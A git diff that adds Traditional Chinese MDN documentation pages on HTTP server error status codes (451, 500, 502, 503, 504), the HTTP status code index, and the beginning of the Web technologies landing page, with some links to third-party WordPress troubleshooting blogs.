+  <tr>
+   <td>{{RFC("7725", "451 Unavailable For Legal Reasons")}}</td>
+   <td>An HTTP Status Code to Report Legal Obstacles</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.451")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_451", "維基百科的 HTTP 451")}}</li>
+ <li>{{interwiki("wikipedia", "華氏451度", "維基百科的華氏451度")}}（該請求碼的數字詞源）</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/500/index.html b/files/zh-tw/web/http/status/500/index.html
new file mode 100644
index 0000000000..26533581be
--- /dev/null
+++ b/files/zh-tw/web/http/status/500/index.html
@@ -0,0 +1,43 @@
+---
+title: 500 Internal Server Error
+slug: Web/HTTP/Status/500
+translation_of: Web/HTTP/Status/500
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>500 Internal Server Error</strong></code> 伺服器錯誤回應表明了伺服器碰上意外情況，令伺服器無法完成請求。不管你的網站是不是採用 WordPress 系統，任何放在伺服器當中的網頁都有可能發生這種錯誤。</p>
+
+<p>本錯誤回應屬於通用的「全方位」回應。一般來說，這代碼代表程式無法給出比 500 更適當的回應。有時候，伺服器管理者會針對 500 這樣的錯誤回應，記錄詳細的相關信息，以避免未來出現同樣的錯誤。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox notranslate">500 Internal Server Error</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.500")}}</p>
+
+<h2 id="參考資料">參考資料</h2>
+
+<ul>
+ <li><a href="https://techmoon.xyz/500-internal-server-error/" rel="noopener">如何修復 WordPress 出現 500 Internal Server Error 的解決方法</a>
+</li>
+<li><a href="https://www.exai.com/blog/http-error-500-wordpress" rel="noopener">500 Internal Server Error</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/status/502/index.html b/files/zh-tw/web/http/status/502/index.html
new file mode 100644
index 0000000000..098224da5c
--- /dev/null
+++ b/files/zh-tw/web/http/status/502/index.html
@@ -0,0 +1,57 @@
+---
+title: 502 Bad Gateway
+slug: Web/HTTP/Status/502
+tags:
+  - Bad Gateway
+  - HTTP
+  - Status code
+translation_of: Web/HTTP/Status/502
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code>502 Bad Gateway</code> 錯誤表明伺服器以閘道器或代理訪問時，收到了來自上游服務器的無效回應。</p>
+
+<div class="note">
+<p><strong>注意：</strong>{{interwiki("wikipedia", "閘道器" )}}可能位於網路上的不同地方。502 錯誤通常也不是開發者可以修復的，他通常需要在要訪問的的伺服器或代理修復之。</p>
+</div>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox notranslate">502 Bad Gateway
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.502")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://techmoon.xyz/502-bad-gateway-error-fix-wordpress/">WordPress 出現 502 Bad Gateway Error 解決方法</a></li>
+ <li>{{HTTPStatus(504)}}</li>
+ <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definition</a></li>
+ <li><a href="https://www.exai.com/blog/502-bad-gateway">502 bad gateway fix</a></li>
+ <li><a href="https://kinsta.com/blog/502-bad-gateway/">502 Bad Gateway error on WordPress</a></li>
+ <li><a href="https://support.cloudflare.com/hc/en-us/articles/115003011431#502504error">502 error with Cloudflare</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/status/503/index.html b/files/zh-tw/web/http/status/503/index.html
new file mode 100644
index 0000000000..dc743f91a4
--- /dev/null
+++ b/files/zh-tw/web/http/status/503/index.html
@@ -0,0 +1,67 @@
+---
+title: 503 Service Unavailable
+slug: Web/HTTP/Status/503
+tags:
+  - 503 error
+  - HTTP
+  - Service Unavailable Error
+  - Status code
+translation_of: Web/HTTP/Status/503
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>超文本傳輸協定(英文：HyperText Transfer Protocol (HTTP) ) <code><strong>503 Service Unavailable</strong></code> 表示目前伺服器暫時不能處理連線的請求。</p>
+
+<p>起因通常是伺服器正在進行維護或是當下流量過載。這種錯誤回傳應該是暫時性的，並且{{HTTPHeader("Retry-After")}} HTTP header 中要盡可能描述到系統大概恢復正常的時間。.</p>
+
+<div class="note">
+<p><strong>注意：回傳這種錯誤的同時，也要同時顯示一張對使用者友善的網頁，來簡單描述問題。</strong></p>
+</div>
+
+<p>回傳此錯誤時，務必注意和快取存取相關的標頭（Caching-related headers），因為 503 狀態通常要是暫時性的，而這種回應不應該被暫存至快取。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">503 Service Unavailable</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>以下資訊是從 MDN 的 GitHub 取得 (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">本頁面的相容性列表示從資料中產生的。如果您想要參與改進，看看 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 並且送出 pull 請求。</p>
+
+<p>{{Compat("http.status.503")}}</p>
+
+<h2 id="請參閱">請參閱</h2>
+
+<ul>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
+
+<h2 id="了解更多">了解更多</h2>
+
+<h3 id="一般知識">一般知識</h3>
+
+<ul>
+ <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">HTTP/1.1: Status Code Definitions</a></li>
+ <li><a href="https://kinsta.com/blog/http-error-503/">HTTP Error 503</a></li>
+ <li><a href="https://secure.wphackedhelp.com/blog/503-service-unavailable-error-wordpress/">503 Service Unvailaible WordPress</a></li>
+ <li><a href="https://techmoon.xyz/503-service-unavailable-error/">如何修復在 WordPress 當中「503 Service Unavailable Error」的問題？</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/status/504/index.html b/files/zh-tw/web/http/status/504/index.html
new file mode 100644
index 0000000000..c71e30f768
--- /dev/null
+++ b/files/zh-tw/web/http/status/504/index.html
@@ -0,0 +1,46 @@
+---
+title: 504 Gateway Timeout
+slug: Web/HTTP/Status/504
+translation_of: Web/HTTP/Status/504
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>504 Gateway Timeout</strong></code> 錯誤表明伺服器以閘道器或代理訪問時，並沒有上游伺服器即時收到完成請求所需的回應。</p>
+
+<div class="note">
+<p><strong>注意：</strong>{{interwiki("wikipedia", "閘道器" )}}可能位於網路上的不同地方。502 錯誤通常也不是開發者可以修復的，通常需要在要訪問的的伺服器或代理修復之。</p>
+</div>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox notranslate">504 Gateway Timeout</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.504")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li>
+ <li>{{HTTPStatus(502)}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/index.html b/files/zh-tw/web/http/status/index.html
new file mode 100644
index 0000000000..cb47ff712d
--- /dev/null
+++ b/files/zh-tw/web/http/status/index.html
@@ -0,0 +1,191 @@
+---
+title: HTTP 狀態碼
+slug: Web/HTTP/Status
+translation_of: Web/HTTP/Status
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">HTTP 狀態碼表明一個 <a href="/zh-TW/docs/Web/HTTP">HTTP</a> 要求是否已經被完成。回應分為五種：</span></p>
+
+<ol>
+ <li class="summary"><span class="seoSummary">資訊回應 (Informational responses, <code>100</code>–<code>199</code>),</span></li>
+ <li class="summary"><span class="seoSummary">成功回應 (Successful responses, <code>200</code>–<code>299</code>),</span></li>
+ <li class="summary"><span class="seoSummary">重定向 (Redirects, <code>300</code>–<code>399</code>),</span></li>
+ <li class="summary"><span class="seoSummary">用戶端錯誤 (Client errors, <code>400</code>–<code>499</code>),</span></li>
+ <li class="summary"><span class="seoSummary">伺服器端錯誤 (Server errors, <code>500</code>–<code>599</code>).</span></li>
+</ol>
+
+<p class="summary">以下的狀態碼定義在 <a href="https://tools.ietf.org/html/rfc2616#section-10">section 10 of RFC 2616</a> 中。你可以在 <a href="https://tools.ietf.org/html/rfc7231#section-6.5.1">RFC 7231</a> 查看更新過的規範。</p>
+
+<div class="blockIndicator note">
+<p class="summary">如果你收到任何不在清單內的回應，那很可能伺服器自行軟體實作的非標準規範。</p>
+</div>
+
+<h2 id="資訊回應">資訊回應</h2>
+
+<dl>
+ <dt>{{HTTPStatus(100, "100 Continue")}}</dt>
+ <dd>此臨時回應表明，目前為止的一切完好，而用戶端應當繼續完成請求、或是在已完成請求的情況下，忽略此資訊。</dd>
+ <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt>
+ <dd>此狀態碼乃為用戶端 {{HTTPHeader("Upgrade")}} 請求標頭發送之回應、且表明伺服器亦切換中。</dd>
+ <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>此狀態碼表明伺服器收到並處理請求中，但目前未有回應。</dd>
+ <dt>{{HTTPStatus(103, "103 Early Hints")}}</dt>
+ <dd>此狀態碼主要與 {{HTTPHeader("Link")}} 標頭有關：它能讓用戶代理（user agent）能在伺服器準備回應前能 <a href="/zh-TW/docs/Web/HTML/Preloading_content">preloading</a> 資源。</dd>
+</dl>
+
+<h2 id="成功回應">成功回應</h2>
+
+<dl>
+ <dt>{{HTTPStatus(200, "200 OK")}}</dt>
+ <dd>請求成功。成功的意義依照 HTTP 方法而定：<br>
+ GET：資源成功獲取並於訊息主體中發送。<br>
+ HEAD：entity 標頭已於訊息主體中。<br>
+ POST：已傳送訊息主體中的 resource describing the result of the action。<br>
+ TRACE：伺服器已接收到訊息主體內含的請求訊息。</dd>
+ <dt>{{HTTPStatus(201, "201 Created")}}</dt>
+ <dd>請求成功且新的資源成功被創建，通常用於 POST 或一些 PUT 請求後的回應。</dd>
+ <dt>{{HTTPStatus(202, "202 Accepted")}}</dt>
+ <dd>此請求已經被接受但尚未處理。此狀態為非承諾性，代表 HTTP 無法在之後傳送一個非同步的回應告知請求的處理結果。最初<span class="tlid-translation translation" lang="zh-TW"><span title="">目的為外部程序或其他伺服器處理</span></span>請求的情況，或用於批次處理中。</dd>
+ <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt>
+ <dd>此回應碼表示回傳的中介資料集與並非與原始伺服器上的有效確定集合完全相同，而是來自本地或第三方的副本。除此情況外，200 OK 回應碼應該被優先使用。</dd>
+ <dt>{{HTTPStatus(204, "204 No Content")}}</dt>
+ <dd>There is no content to send for this request, but the headers may be useful. The user-agent may update its cached headers for this resource with the new ones.</dd>
+ <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt>
+ <dd>This response code is sent after accomplishing request to tell user agent reset document view which sent this request.</dd>
+ <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt>
+ <dd>This response code is used because of range header sent by the client to separate download into multiple streams.</dd>
+ <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>A Multi-Status response conveys information about multiple resources in situations where multiple status codes might be appropriate.</dd>
+ <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>Used inside a DAV: propstat response element to avoid enumerating the internal members of multiple bindings to the same collection repeatedly.</dd>
+ <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt>
+ <dd>The server has fulfilled a GET request for the resource, and the response is a representation of the result of one or more instance-manipulations applied to the current instance.</dd>
+</dl>
+
+<h2 id="重定向訊息">重定向訊息</h2>
+
+<dl>
+ <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt>
+ <dd>請求擁有一個以上的回應。用戶代理或使用者應該從中選一。不過，並沒有標準的選擇方案。</dd>
+ <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt>
+ <dd>此回應碼的意思是，請求資源的 URI 已被改變。有時候，會在回應內給予新的 URI。</dd>
+ <dt>{{HTTPStatus(302, "302 Found")}}</dt>
+ <dd>This response code means that URI of requested resource has been changed <em>temporarily</em>. New changes in the URI might be made in the future. Therefore, this same URI should be used by the client in future requests.</dd>
+ <dt>{{HTTPStatus(303, "303 See Other")}}</dt>
+ <dd>Server sent this response to directing client to get requested resource to another URI with an GET request.</dd>
+ <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt>
+ <dd>This is used for caching purposes. It is telling to client that response has not been modified. So, client can continue to use same cached version of response.</dd>
+ <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt>
+ <dd>在舊版本的 HTTP 規範中，表示請求資源必須透過代理存取。基於對代理的頻內設置 (in-band configuration) 相關的安全考量，該狀態碼已棄用。</dd>
+ <dt><code>306 unused</code></dt>
+ <dd>該狀態碼已不再被使用，僅被保留。該狀態碼曾在先前得的 HTTP 1.1 規範中被使用。</dd>
+ <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt>
+ <dd>伺服器發送此回應來使客戶端保持請求方法不變向新的地址發出請求。 與 <code>302 Found</code> 相同，差別在於客戶端不許變更請求方法。例如，應使用另一個 <code>POST</code> 請求來重複發送 <code>POST</code> 請求。</dd>
+ <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt>
+ <dd>This means that the resource is now permanently located at another URI, specified by the <code>Location:</code> HTTP Response header. This has the same semantics as the <code>301 Moved Permanently</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: if a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd>
+</dl>
+
+<h2 id="用戶端錯誤回應">用戶端錯誤回應</h2>
+
+<dl>
+ <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt>
+ <dd>此回應意味伺服器因為收到無效語法，而無法理解請求。</dd>
+ <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt>
+ <dd>需要授權以回應請求。它有點像 403，但這裡的授權，是有可能辦到的。</dd>
+ <dt>{{HTTPStatus(402, "402 Payment Required")}} {{experimental_inline}}</dt>
+ <dd>此回應碼留作未來使用。一開始此碼旨在用於數位交易系統，然而，目前極少被使用，且不存在標準或慣例。</dd>
+ <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt>
+ <dd>用戶端並無訪問權限，例如未被授權，所以伺服器拒絕給予應有的回應。不同於 401，伺服端知道用戶端的身份。</dd>
+ <dt>{{HTTPStatus(404, "404 Not Found")}}</dt>
+ <dd>伺服器找不到請求的資源。因為在網路上它很常出現，這回應碼也許最為人所悉。</dd>
+ <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt>
+ <dd>伺服器理解此請求方法，但它被禁用或不可用。有兩個強制性方法：<code>GET</code> 與 <code>HEAD</code>，永遠不該被禁止、也不該回傳此錯誤碼。</dd>
+ <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt>
+ <dd>This response is sent when the web server, after performing <a href="/zh-TW/docs/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, doesn't find any content following the criteria given by the user agent.</dd>
+ <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt>
+ <dd>This is similar to 401 but authentication is needed to be done by a proxy.</dd>
+ <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt>
+ <dd>This response is sent on an idle connection by some servers, even without any previous request by the client. It means that the server would like to shut down this unused connection. This response is used much more since some browsers, like Chrome, Firefox 27+, or IE9, use HTTP pre-connection mechanisms to speed up surfing. Also note that some servers merely shut down the connection without sending this message.</dd>
+ <dt>{{HTTPStatus(409, "409 Conflict")}}</dt>
+ <dd>表示請求與伺服器目前狀態衝突</dd>
+ <dt>{{HTTPStatus(410, "410 Gone")}}</dt>
+ <dd>This response would be sent when requested content has been deleted from server.</dd>
+ <dt>{{HTTPStatus(411, "411 Length Required")}}</dt>
+ <dd>伺服器拒絕該請求，因為 <code>Content-Length</code> 頭沒有被定義，然而伺服器要求。</dd>
+ <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt>
+ <dd>The client has indicated preconditions in its headers which the server does not meet.</dd>
+ <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt>
+ <dd>請求的實體資料大小超過了伺服器定義的上限，伺服器會關閉連接或返回一個 <code>Retry-After</code> 回應頭。</dd>
+ <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt>
+ <dd>客戶端的 URI 請求超過伺服器願意解析的長度。</dd>
+ <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt>
+ <dd>被請求資源的多媒體類型不被伺服器支援，因此該請求被拒絕。</dd>
+ <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt>
+ <dd>The range specified by the <code>Range</code> header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data.</dd>
+ <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt>
+ <dd>This response code means the expectation indicated by the <code>Expect</code> request header field can't be met by the server.</dd>
+ <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt>
+ <dd>The server refuses the attempt to brew coffee with a teapot.</dd>
+ <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt>
+ <dd>The request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.</dd>
+ <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>The request was well-formed but was unable to be followed due to semantic errors.</dd>
+ <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>被訪問的資源被鎖定。</dd>
+ <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>由於先前的請求失敗導致此請求失敗。</dd>
+ <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt>
+ <dd>The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. The server sends an {{HTTPHeader("Upgrade")}} header in a 426 response to indicate the required protocol(s).</dd>
+ <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt>
+ <dd>The origin server requires the request to be conditional. Intended to prevent the 'lost update' problem, where a client GETs a resource's state, modifies it, and PUTs it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.</dd>
+ <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt>
+ <dd>用戶在給定的時間內 ("rate limiting") 發送了過多的請求。</dd>
+ <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt>
+ <dd>伺服器不願意處理該請求，因為標頭欄位過大。該請求可能可以在減少請求標頭欄位大小後重新提交。</dd>
+ <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt>
+ <dd>用戶端請求違法的資源，例如受政府審查的網頁。</dd>
+</dl>
+
+<h2 id="伺服器端錯誤回應">伺服器端錯誤回應</h2>
+
+<dl>
+ <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt>
+ <dd>伺服器端發生未知或無法處理的錯誤。</dd>
+ <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt>
+ <dd>The request method is not supported by the server and cannot be handled. The only methods that servers are required to support (and therefore that must not return this code) are <code>GET</code> and <code>HEAD</code>.</dd>
+ <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt>
+ <dd>This error response means that the server, while working as a gateway to get a response needed to handle the request, got an invalid response.</dd>
+ <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt>
+ <dd>The server is not ready to handle the request. Common causes are a server that is down for maintenance or that is overloaded. Note that together with this response, a user-friendly page explaining the problem should be sent. This responses should be used for temporary conditions and the <code>Retry-After:</code> HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached.</dd>
+ <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt>
+ <dd>This error response is given when the server is acting as a gateway and cannot get a response in time.</dd>
+ <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt>
+ <dd>請求使用的 HTTP 版本不被伺服器支援。</dd>
+ <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt>
+ <dd>The server has an internal configuration error: transparent content negotiation for the request results in a circular reference.</dd>
+ <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt>
+ <dd>The server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process.</dd>
+ <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>The server detected an infinite loop while processing the request.</dd>
+ <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt>
+ <dd>Further extensions to the request are required for the server to fulfill it.</dd>
+ <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt>
+ <dd>The 511 status code indicates that the client needs to authenticate to gain network access.</dd>
+</dl>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("http.status")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">List of HTTP status codes on Wikipedia</a></li>
+ <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">IANA official registry of HTTP status codes</a></li>
+<li><a href="https://www.exai.com/blog/http-status-codes-cheat-sheet">HTTP Status Codes Cheat Sheet</a></li>
+ <li><a href="https://kinsta.com/blog/http-status-codes/">A Complete Guide and List of HTTP Status Codes</a></li>
+ <li><a href="https://techmoon.xyz/httpstatus/">httpstatus – 檢查網址重定向路徑、請求標頭與 HTTP 狀態代碼</a></li>
+</ul>
diff --git a/files/zh-tw/web/index.html b/files/zh-tw/web/index.html
new file mode 100644
index 0000000000..656d4fc7cd
--- /dev/null
+++ b/files/zh-tw/web/index.html
@@ -0,0 +1,101 @@
+---
+title: 給開發者的網頁技術文件
+slug: Web
+tags:
+  - Landing
+  - Web
+  - 網頁
+  - 網頁開發
+translation_of: Web
+---
+<h4 id="全球資訊網的開放性提供了開發人員非常棒的機會。要充分發揮網路潛能，你需要知道如何使用它們。你可以從以下連結找到各種_網頁技術說明。">全球資訊網的開放性提供了開發人員非常棒的機會。要充分發揮網路潛能，你需要知道如何使用它們。你可以從以下連結找到各種 網頁技術說明。</h4>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="網頁技術">網頁技術</h2>
+
+<h3 id="基礎">基礎</h3>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/HTML">HTML</a></dt>
+ <dd><strong>超文字標記語言 (HyperText Markup Language)</strong> 是一種用來結構化描述及定義網頁內容的語言。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS">CSS</a></dt>
+ <dd><strong>階層樣式表 (Cascading Style Sheets)</strong> 可用來描述網頁內容的外觀。</dd>
+ <dt><a href="/zh-TW/docs/Web/HTTP">HTTP</a></dt>
+ <dd><strong><dfn>超文字傳輸協議 (Hypertext Transfer Protocol) </dfn></strong>用於傳送網路的 HTML 及其他網頁中會使用到的hypermedia 文件。</dd>
+</dl>
+
+<h3 id="腳本語言">腳本語言</h3>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/JavaScript">JavaScript</a></dt>
+ <dd>JavaScript 是在瀏覽器中執行的程式語言，你可以用它來增進網站或網路程式的互動性、及其他動態功能。</dd>
+ <dt><a href="/zh-TW/docs/Web/Reference/API">Web APIs</a></dt>
+ <dd>提供了能擴展網路腳本化能力的每個 API 的參考資訊，包含了 <a href="/zh-TW/docs/DOM">DOM</a> 及所有相關的 API 及介面，能用於製作網站內容與應用程式。
+ <ul>
+  <li><a href="/zh-TW/docs/Web/API" title="/docs/Web/API">Web API 介面參考</a> - 以字母順序排序的所有介面資訊</li>
+  <li><a href="/zh-TW/docs/WebAPI">WebAPI</a> 列出裝置 API 及其他益於開發應用程式時的 API</li>
+  <li><a href="/zh-TW/docs/Web/Events">事件參考</a> 列出可以用來追蹤和回應在網頁或網路程式中所發生的有趣事情的所有事件。<br>
+    </li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="圖像">圖像</h3>
+
+<dl>
+ <dt><a href="/zh-TW/docs/SVG">SVG</a></dt>
+ <dd>可縮放向量圖形（Scalable Vector Graphics）使你能夠使用一組向量（線條）與形狀來描述圖片，在顯示時可提供無關大小的零失真的平滑縮放。</dd>
+ <dt><a href="/zh-TW/docs/Web/WebGL" title="/docs/Web/WebGL">WebGL</a></dt>
+ <dd>WebGL 導入一系列近似 OpenGL ES 2.0 標準的 API，可用於 HTML {{HTMLElement("canvas")}} 元件中，將 3D 圖像帶進網路。</dd>
+</dl>
+
+<h3 id="音訊、影片、多媒體">音訊、影片、多媒體</h3>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/Media">網路媒體科技</a></dt>
+ <dd>跟多媒體相關的API及文件連結清單。</dd>
+ <dt><a href="/zh-TW/docs/Web/Media/Overview">網路媒體科技概觀</a></dt>
+ <dd>網路科技及提供影音撥放、操作與錄製的APIs概觀。如果你不知道該使用哪一個API，可以從這裡開始。</dd>
+ <dt><a href="/zh-TW/docs/Web/API/Media_Streams_API">影像擷取及串流API</a></dt>
+ <dd>提供本地或是網路上媒體串流，錄製及操作的API參考資料。包含使用本地相機及麥克風擷取影片，音檔和靜態影像。</dd>
+</dl>
+
+<h3 id="其他">其他</h3>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/MathML">MathML</a></dt>
+ <dd>數學標記語言（Mathematical Markup Language）使網頁得以展示複雜的數學運算式及語法。</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="學習區">學習區</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Learn">學習網路開發</a></dt>
+ <dd>這些文章給初學者任何他們開發一個簡單的網頁所需要的東西。</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="其他主題">其他主題</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/Apps">開發網頁應用程式</a></dt>
+ <dd>網頁應用程式開發者的文件。Web App 真的只需要單次撰寫，即可佈署到手機、桌面與 Firefox OS 平台。</dd>
+ <dt><a href="/zh-TW/docs/Web/Accessibility">網頁親和力</a></dt>
+ <dd>網頁親和力（Accessibility）意指讓最大多數人都得以使用網站，包含某些身心能力受限者。這裡我們提供製作具親和力的網頁內容的相關資訊。</dd>
+ <dt><a href="/zh-TW/docs/Web/Security">安全</a></dt>
